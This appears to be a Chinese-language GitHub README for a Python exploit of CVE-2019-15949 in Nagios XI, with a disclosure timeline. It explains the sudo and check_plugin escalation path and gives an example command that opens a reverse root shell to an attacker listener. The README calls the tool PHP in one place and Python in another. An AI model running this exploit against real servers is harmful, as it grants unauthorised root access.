plur1bu5/nagios-cve-2019-15949-rce一个针对 Nagios CVE-2019-15949 远程代码执行漏洞的 Python PoC
一个针对 CVE-2019-15949 的 Python PoC
Nagios XI <= 5.6.5 中存在一个漏洞，允许攻击者利用远程代码执行 (RCE) 将权限提升至 root。 该利用需要以 'nagios' 用户身份访问服务器，或通过 Web 界面具有管理插件权限的 CCM 访问权限。
通过下载系统配置文件 (profile.php?cmd=download) 调用的 getprofile.sh 脚本，通过无需密码的 sudo 条目以 root 身份执行；该脚本执行了属主为 nagios 用户的 'check_plugin' 可执行文件。已登录 Nagios XI 并具有修改插件权限的用户，或服务器上的 'nagios' 用户，可以修改 'check_plugin' 可执行文件并插入能以 root 身份执行的恶意命令。
已开发了一个 PHP 概念验证，用于上传载荷并获取反向 root shell。 用法：
python3 exploit.py tagetIp [ssl=false/true] username password Lhost lport
示例：
python3 exploit.py 10.10.11.9 false nagiosadmin admin 10.10.11.14 4444
向 Nagios 报告时间：2019年7月29日 Nagios 确认时间：2019年7月29日 修复版本：5.6.6，修复日期：2019年8月20日 CVE 分配时间：2019年9月6日 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)
